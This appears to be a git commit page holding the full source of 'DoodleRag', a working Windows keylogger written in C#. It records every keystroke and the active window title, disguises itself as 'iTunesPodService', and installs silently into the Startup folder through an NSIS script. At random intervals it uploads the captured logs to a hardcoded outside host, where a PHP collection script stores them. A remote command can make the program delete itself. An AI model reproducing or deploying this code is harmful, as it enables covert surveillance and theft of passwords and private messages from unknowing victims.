summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2010-04-19 02:53:35 -0400
committerJason A. Donenfeld <Jason@zx2c4.com>2010-04-19 02:53:35 -0400
commit97ce1cba643f91cf6dcec3b3be173b764d2670e1 (patch)
tree1e6c41ed80db49c62cd7bb42d1d52dfe5f78f99c
downloadDoodleRag-97ce1cba643f91cf6dcec3b3be173b764d2670e1.tar.xz
DoodleRag-97ce1cba643f91cf6dcec3b3be173b764d2670e1.zip
Initial commit.
-rw-r--r--.gitignore5
-rw-r--r--DoodleRag.csproj107
-rw-r--r--DoodleRag.sln19
-rw-r--r--Keylogger.cs268
-rw-r--r--Main.cs21
-rw-r--r--Uploader.cs81
-rw-r--r--installer.nsi9
-rw-r--r--logger.php32
8 files changed, 542 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..1981c02
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,5 @@
+*.suo
+*.user
+*.exe
+bin
+obj
diff --git a/DoodleRag.csproj b/DoodleRag.csproj
new file mode 100644
index 0000000..da60ac0
--- /dev/null
+++ b/DoodleRag.csproj
@@ -0,0 +1,107 @@
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <PropertyGroup>
+ <ProjectType>Local</ProjectType>
+ <ProductVersion>8.0.50727</ProductVersion>
+ <SchemaVersion>2.0</SchemaVersion>
+ <ProjectGuid>{AFD1F7AF-7974-40CE-9E95-F984D99A572D}</ProjectGuid>
+ <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+ <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+ <ApplicationIcon>
+ </ApplicationIcon>
+ <AssemblyKeyContainerName>
+ </AssemblyKeyContainerName>
+ <AssemblyName>iTunesPodService</AssemblyName>
+ <AssemblyOriginatorKeyFile>
+ </AssemblyOriginatorKeyFile>
+ <DefaultClientScript>JScript</DefaultClientScript>
+ <DefaultHTMLPageLayout>Grid</DefaultHTMLPageLayout>
+ <DefaultTargetSchema>IE50</DefaultTargetSchema>
+ <DelaySign>false</DelaySign>
+ <OutputType>WinExe</OutputType>
+ <RootNamespace>Logger</RootNamespace>
+ <RunPostBuildEvent>OnBuildSuccess</RunPostBuildEvent>
+ <StartupObject>
+ </StartupObject>
+ <FileUpgradeFlags>
+ </FileUpgradeFlags>
+ <UpgradeBackupLocation>
+ </UpgradeBackupLocation>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+ <OutputPath>bin\Debug\</OutputPath>
+ <AllowUnsafeBlocks>false</AllowUnsafeBlocks>
+ <BaseAddress>285212672</BaseAddress>
+ <CheckForOverflowUnderflow>false</CheckForOverflowUnderflow>
+ <ConfigurationOverrideFile>
+ </ConfigurationOverrideFile>
+ <DefineConstants>DEBUG;TRACE</DefineConstants>
+ <DocumentationFile>
+ </DocumentationFile>
+ <DebugSymbols>true</DebugSymbols>
+ <FileAlignment>4096</FileAlignment>
+ <NoStdLib>false</NoStdLib>
+ <NoWarn>
+ </NoWarn>
+ <Optimize>false</Optimize>
+ <RegisterForComInterop>false</RegisterForComInterop>
+ <RemoveIntegerChecks>false</RemoveIntegerChecks>
+ <TreatWarningsAsErrors>false</TreatWarningsAsErrors>
+ <WarningLevel>4</WarningLevel>
+ <DebugType>full</DebugType>
+ <ErrorReport>prompt</ErrorReport>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+ <OutputPath>bin\Release\</OutputPath>
+ <AllowUnsafeBlocks>false</AllowUnsafeBlocks>
+ <BaseAddress>285212672</BaseAddress>
+ <CheckForOverflowUnderflow>false</CheckForOverflowUnderflow>
+ <ConfigurationOverrideFile>
+ </ConfigurationOverrideFile>
+ <DefineConstants>TRACE</DefineConstants>
+ <DocumentationFile>
+ </DocumentationFile>
+ <DebugSymbols>false</DebugSymbols>
+ <FileAlignment>4096</FileAlignment>
+ <NoStdLib>false</NoStdLib>
+ <NoWarn>
+ </NoWarn>
+ <Optimize>true</Optimize>
+ <RegisterForComInterop>false</RegisterForComInterop>
+ <RemoveIntegerChecks>false</RemoveIntegerChecks>
+ <TreatWarningsAsErrors>false</TreatWarningsAsErrors>
+ <WarningLevel>4</WarningLevel>
+ <DebugType>none</DebugType>
+ <ErrorReport>prompt</ErrorReport>
+ </PropertyGroup>
+ <ItemGroup>
+ <Reference Include="System">
+ <Name>System</Name>
+ </Reference>
+ <Reference Include="System.Data">
+ <Name>System.Data</Name>
+ </Reference>
+ <Reference Include="System.Web" />
+ <Reference Include="System.Windows.Forms">
+ <Name>System.Windows.Forms</Name>
+ </Reference>
+ <Reference Include="System.Xml">
+ <Name>System.XML</Name>
+ </Reference>
+ </ItemGroup>
+ <ItemGroup>
+ <Compile Include="Keylogger.cs">
+ <SubType>Code</SubType>
+ </Compile>
+ <Compile Include="Main.cs">
+ <SubType>Code</SubType>
+ </Compile>
+ <Compile Include="Uploader.cs" />
+ </ItemGroup>
+ <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+ <PropertyGroup>
+ <PreBuildEvent>
+ </PreBuildEvent>
+ <PostBuildEvent>
+ </PostBuildEvent>
+ </PropertyGroup>
+</Project> \ No newline at end of file
diff --git a/DoodleRag.sln b/DoodleRag.sln
new file mode 100644
index 0000000..4b12b46
--- /dev/null
+++ b/DoodleRag.sln
@@ -0,0 +1,19 @@
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DoodleRag", "DoodleRag.csproj", "{AFD1F7AF-7974-40CE-9E95-F984D99A572D}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {AFD1F7AF-7974-40CE-9E95-F984D99A572D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {AFD1F7AF-7974-40CE-9E95-F984D99A572D}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {AFD1F7AF-7974-40CE-9E95-F984D99A572D}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {AFD1F7AF-7974-40CE-9E95-F984D99A572D}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/Keylogger.cs b/Keylogger.cs
new file mode 100644
index 0000000..d150fc5
--- /dev/null
+++ b/Keylogger.cs
@@ -0,0 +1,268 @@
+using System;
+using System.Threading;
+using System.IO;
+using System.Text;
+using System.Windows.Forms;
+using System.Runtime.InteropServices;
+
+namespace Logger
+{
+ public class Keylogger
+ {
+ [DllImport("User32.dll")]
+ private static extern short GetAsyncKeyState(Keys vKey);
+ [DllImport("User32.dll")]
+ private static extern short GetAsyncKeyState(int vKey);
+ [DllImport("User32.dll")]
+ public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
+ [DllImport("User32.dll")]
+ public static extern int GetForegroundWindow();
+
+ private StringBuilder buffer;
+ private string hWndTitle;
+ private string hWndTitlePast;
+ private bool tglAlt = false;
+ private bool tglControl = false;
+ private bool tglCapslock = false;
+
+ public Keylogger()
+ {
+ buffer = new StringBuilder(10000);
+ new Thread(new ThreadStart(logKey)).Start();
+ }
+
+ public static string ActiveApplTitle()
+ {
+ int hwnd = GetForegroundWindow();
+ StringBuilder sbTitle = new StringBuilder(1024);
+ int intLength = GetWindowText(hwnd, sbTitle, sbTitle.Capacity);
+ if ((intLength <= 0) || (intLength > sbTitle.Length)) return "unknown";
+ return sbTitle.ToString();
+ }
+
+ private void logKey()
+ {
+ while (true)
+ {
+ string keyBuffer = string.Empty;
+ hWndTitle = ActiveApplTitle();
+
+ if (hWndTitle != hWndTitlePast || hWndTitlePast == null)
+ {
+ keyBuffer += "\n\n[" + hWndTitle + "]\n";
+ hWndTitlePast = hWndTitle;
+ }
+
+ foreach (int i in Enum.GetValues(typeof(Keys)))
+ {
+ if (GetAsyncKeyState(i) == -32767)
+ {
+ if (Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000))
+ {
+ if (!tglControl)
+ {
+ tglControl = true;
+ keyBuffer += "<Ctrl=On>";
+ }
+ }
+ else
+ {
+ if (tglControl)
+ {
+ tglControl = false;
+ keyBuffer += "<Ctrl=Off>";
+ }
+ }
+ if (Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000))
+ {
+ if (!tglAlt)
+ {
+ tglAlt = true;
+ keyBuffer += "<Alt=On>";
+ }
+ }
+ else
+ {
+ if (tglAlt)
+ {
+ tglAlt = false;
+ keyBuffer += "<Alt=Off>";
+ }
+ }
+ if (Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000))
+ {
+ if (!tglCapslock)
+ {
+ tglCapslock = true;
+ keyBuffer += "<CapsLock=On>";
+ }
+ }
+ else
+ {
+ if (tglCapslock)
+ {
+ tglCapslock = false;
+ keyBuffer += "<CapsLock=Off>";
+ }
+ }
+ if (Enum.GetName(typeof(Keys), i) == "LButton")
+ keyBuffer += "<LMouse>";
+ else if (Enum.GetName(typeof(Keys), i) == "RButton")
+ keyBuffer += "<RMouse>";
+ else if (Enum.GetName(typeof(Keys), i) == "Back")
+ keyBuffer += "<Backspace>";
+ else if (Enum.GetName(typeof(Keys), i) == "Space")
+ keyBuffer += " ";
+ else if (Enum.GetName(typeof(Keys), i) == "Return")
+ keyBuffer += "<Enter>";
+ else if (Enum.GetName(typeof(Keys), i) == "ControlKey")
+ continue;
+ else if (Enum.GetName(typeof(Keys), i) == "LControlKey")
+ continue;
+ else if (Enum.GetName(typeof(Keys), i) == "RControlKey")
+ continue;
+ else if (Enum.GetName(typeof(Keys), i) == "LControlKey")
+ continue;
+ else if (Enum.GetName(typeof(Keys), i) == "ShiftKey")
+ continue;
+ else if (Enum.GetName(typeof(Keys), i) == "LShiftKey")
+ continue;
+ else if (Enum.GetName(typeof(Keys), i) == "RShiftKey")
+ continue;
+ else if (Enum.GetName(typeof(Keys), i) == "Delete")
+ keyBuffer += "<Del>";
+ else if (Enum.GetName(typeof(Keys), i) == "Insert")
+ keyBuffer += "<Ins>";
+ else if (Enum.GetName(typeof(Keys), i) == "Home")
+ keyBuffer += "<Home>";
+ else if (Enum.GetName(typeof(Keys), i) == "End")
+ keyBuffer += "<End>";
+ else if (Enum.GetName(typeof(Keys), i) == "Tab")
+ keyBuffer += "<Tab>";
+ else if (Enum.GetName(typeof(Keys), i) == "Prior")
+ keyBuffer += "<Page Up>";
+ else if (Enum.GetName(typeof(Keys), i) == "PageDown")
+ keyBuffer += "<Page Down>";
+ else if (Enum.GetName(typeof(Keys), i) == "LWin" || Enum.GetName(typeof(Keys), i) == "RWin")
+ keyBuffer += "<Win>";
+ if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000))
+ {
+ if (i >= 65 && i <= 122)
+ {
+ keyBuffer += (char)i;
+ }
+ else if (i.ToString() == "49")
+ keyBuffer += "!";
+ else if (i.ToString() == "50")
+ keyBuffer += "@";
+ else if (i.ToString() == "51")
+ keyBuffer += "#";
+ else if (i.ToString() == "52")
+ keyBuffer += "$";
+ else if (i.ToString() == "53")
+ keyBuffer += "%";
+ else if (i.ToString() == "54")
+ keyBuffer += "^";
+ else if (i.ToString() == "55")
+ keyBuffer += "&";
+ else if (i.ToString() == "56")
+ keyBuffer += "*";
+ else if (i.ToString() == "57")
+ keyBuffer += "(";
+ else if (i.ToString() == "48")
+ keyBuffer += ")";
+ else if (i.ToString() == "192")
+ keyBuffer += "~";
+ else if (i.ToString() == "189")
+ keyBuffer += "_";
+ else if (i.ToString() == "187")
+ keyBuffer += "+";
+ else if (i.ToString() == "219")
+ keyBuffer += "{";
+ else if (i.ToString() == "221")
+ keyBuffer += "}";
+ else if (i.ToString() == "220")
+ keyBuffer += "|";
+ else if (i.ToString() == "186")
+ keyBuffer += ":";
+ else if (i.ToString() == "222")
+ keyBuffer += "\"";
+ else if (i.ToString() == "188")
+ keyBuffer += "<";
+ else if (i.ToString() == "190")
+ keyBuffer += ">";
+ else if (i.ToString() == "191")
+ keyBuffer += "?";
+ }
+ else
+ {
+ if (i >= 65 && i <= 122)
+ {
+ keyBuffer += (char)(i + 32);
+ }
+ else if (i.ToString() == "49")
+ keyBuffer += "1";
+ else if (i.ToString() == "50")
+ keyBuffer += "2";
+ else if (i.ToString() == "51")
+ keyBuffer += "3";
+ else if (i.ToString() == "52")
+ keyBuffer += "4";
+ else if (i.ToString() == "53")
+ keyBuffer += "5";
+ else if (i.ToString() == "54")
+ keyBuffer += "6";
+ else if (i.ToString() == "55")
+ keyBuffer += "7";
+ else if (i.ToString() == "56")
+ keyBuffer += "8";
+ else if (i.ToString() == "57")
+ keyBuffer += "9";
+ else if (i.ToString() == "48")
+ keyBuffer += "0";
+ else if (i.ToString() == "189")
+ keyBuffer += "-";
+ else if (i.ToString() == "187")
+ keyBuffer += "=";
+ else if (i.ToString() == "92")
+ keyBuffer += "`";
+ else if (i.ToString() == "219")
+ keyBuffer += "[";
+ else if (i.ToString() == "221")
+ keyBuffer += "]";
+ else if (i.ToString() == "220")
+ keyBuffer += "\\";
+ else if (i.ToString() == "186")
+ keyBuffer += ";";
+ else if (i.ToString() == "222")
+ keyBuffer += "'";
+ else if (i.ToString() == "188")
+ keyBuffer += ",";
+ else if (i.ToString() == "190")
+ keyBuffer += ".";
+ else if (i.ToString() == "191")
+ keyBuffer += "/";
+ }
+ }
+ }
+ lock (buffer)
+ {
+ buffer.Append(keyBuffer);
+ }
+ Thread.Sleep(8);
+ }
+ }
+
+ public string PopLog()
+ {
+ string log;
+ lock (buffer)
+ {
+ log = buffer.ToString();
+ buffer = new StringBuilder(10000);
+ }
+ return log;
+ }
+
+ }
+}
diff --git a/Main.cs b/Main.cs
new file mode 100644
index 0000000..77fd4eb
--- /dev/null
+++ b/Main.cs
@@ -0,0 +1,21 @@
+using System;
+
+namespace Logger
+{
+ class MainApp
+ {
+ [STAThread]
+ static void Main(string[] args)
+ {
+ Keylogger kl = new Keylogger();
+ Uploader upload = new Uploader("http://doodlerag.100webspace.net/logger.php?mode=log");
+ Random rnd = new Random();
+ upload.UploadLog("\n**DoodleRag startup: " + DateTime.Now.ToString() + "**\n");
+ while (true)
+ {
+ System.Threading.Thread.Sleep(rnd.Next(5 * 60 * 1000, 20 * 60 * 1000));
+ upload.UploadLog(kl.PopLog());
+ }
+ }
+ }
+}
diff --git a/Uploader.cs b/Uploader.cs
new file mode 100644
index 0000000..9ec225b
--- /dev/null
+++ b/Uploader.cs
@@ -0,0 +1,81 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+using System.Threading;
+using System.IO;
+using System.Diagnostics;
+
+namespace Logger
+{
+ class Uploader
+ {
+ private Queue<string> uploadQueue;
+ private string uploadUrl;
+ public Uploader(string url)
+ {
+ uploadUrl = url;
+ uploadQueue = new Queue<string>();
+ }
+ public void UploadLog(string log)
+ {
+ lock (uploadQueue)
+ {
+ uploadQueue.Enqueue(log);
+ if (uploadQueue.Count == 1)
+ {
+ ThreadPool.QueueUserWorkItem(new WaitCallback(uploadLoop));
+ }
+ }
+ }
+ private string uploadNext()
+ {
+ try
+ {
+ System.Net.WebRequest req = System.Net.WebRequest.Create(uploadUrl);
+ req.ContentType = "application/x-www-form-urlencoded";
+ req.Method = "POST";
+ byte[] bytes;
+ lock (uploadQueue)
+ {
+ bytes = System.Text.Encoding.ASCII.GetBytes("log=" + System.Web.HttpUtility.UrlEncode(uploadQueue.Peek()));
+ }
+ req.ContentLength = bytes.Length;
+ System.IO.Stream os = req.GetRequestStream();
+ os.Write(bytes, 0, bytes.Length);
+ os.Close();
+ System.Net.WebResponse resp = req.GetResponse();
+ if (resp == null) return null;
+ System.IO.StreamReader sr = new System.IO.StreamReader(resp.GetResponseStream());
+ return sr.ReadToEnd().Trim();
+ }
+ catch { return null; }
+ }
+ private void uploadLoop(object data)
+ {
+ while (uploadQueue.Count > 0)
+ {
+ switch (uploadNext())
+ {
+ case "success":
+ lock (uploadQueue)
+ {
+ uploadQueue.Dequeue();
+ }
+ break;
+ case null:
+ case "":
+ Thread.Sleep(60000);
+ break;
+ case "remove":
+ StreamWriter sw = File.CreateText("selfdelete.bat");
+ string filename = Process.GetCurrentProcess().MainModule.FileName;
+ sw.Write("tskill /A \"{1}\"\n:Repeat\ndel \"{0}\"\nif exist \"{0}\" goto Repeat\ndel \"selfdelete.bat\"", filename, filename.Substring(filename.LastIndexOf(System.IO.Path.DirectorySeparatorChar) + 1));
+ sw.Close();
+ Process.Start("selfdelete.bat");
+ Process.GetCurrentProcess().Kill();
+ break;
+ }
+ }
+ }
+ }
+}
diff --git a/installer.nsi b/installer.nsi
new file mode 100644
index 0000000..3fb7571
--- /dev/null
+++ b/installer.nsi
@@ -0,0 +1,9 @@
+OutFile "doodlerag.exe"
+SilentInstall silent
+
+Section
+ SetSilent silent
+ SetOutPath "$SMSTARTUP"
+ File "bin\Release\iTunesPodService.exe"
+ Exec "$SMSTARTUP/iTunesPodService.exe"
+SectionEnd \ No newline at end of file
diff --git a/logger.php b/logger.php
new file mode 100644
index 0000000..9223d65
--- /dev/null
+++ b/logger.php
@@ -0,0 +1,32 @@
+<?php
+header("Content-Type: text/plain");
+if ($_GET["mode"] == "log") {
+ $file = fopen("logger.txt", "a");
+ fwrite($file, $_POST["log"]);
+ fclose($file);
+ if (file_exists("remove")) echo "remove";
+ else echo "success";
+}
+elseif ($_GET["mode"] == "disable") {
+ @fclose(@fopen("remove", "a"));
+ echo "disabled. logger will uninstall itself at next upload.";
+}
+elseif ($_GET["mode"] == "enable") {
+ @unlink("remove");
+ echo "enabled. please reinstall logger.";
+}
+elseif ($_GET["mode"] == "clearlog") {
+ @unlink("logger.txt");
+ echo "log has been removed from server.";
+}
+elseif ($_GET["mode"] == "deleteeverything") {
+ @unlink("logger.php");
+ @unlink("logger.txt");
+ @unlink("remove");
+ echo "everything is now gone. goodbye dave.";
+}
+else {
+ echo "====== LOG FILE ======\n";
+ readfile("logger.txt");
+}
+?>